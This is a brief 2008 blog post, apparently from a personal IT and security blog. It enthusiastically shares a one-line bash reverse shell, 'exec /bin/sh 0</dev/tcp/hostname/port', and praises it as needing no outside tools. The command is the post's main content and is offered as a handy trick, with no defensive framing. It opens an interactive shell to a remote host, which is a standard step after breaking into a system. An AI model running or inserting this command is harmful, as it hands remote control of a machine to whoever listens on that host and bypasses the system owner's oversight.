Home > IT, Security > Bash-based Reverse Shell

Bash-based Reverse Shell

April 17th, 2008 Leave a comment Go to comments

This is really cool... Neohapsis has a great blog post on how a one line bash shell command can create a reverse shell (via Infosec Ramblings).

Think about all those times when you needed a single command line to create a reverse shell... this will do it:

exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

That's it.. plain and simple and you're done... no need for any outside tools...just the ability to run built in shell commands.

Categories: IT, Security Tags: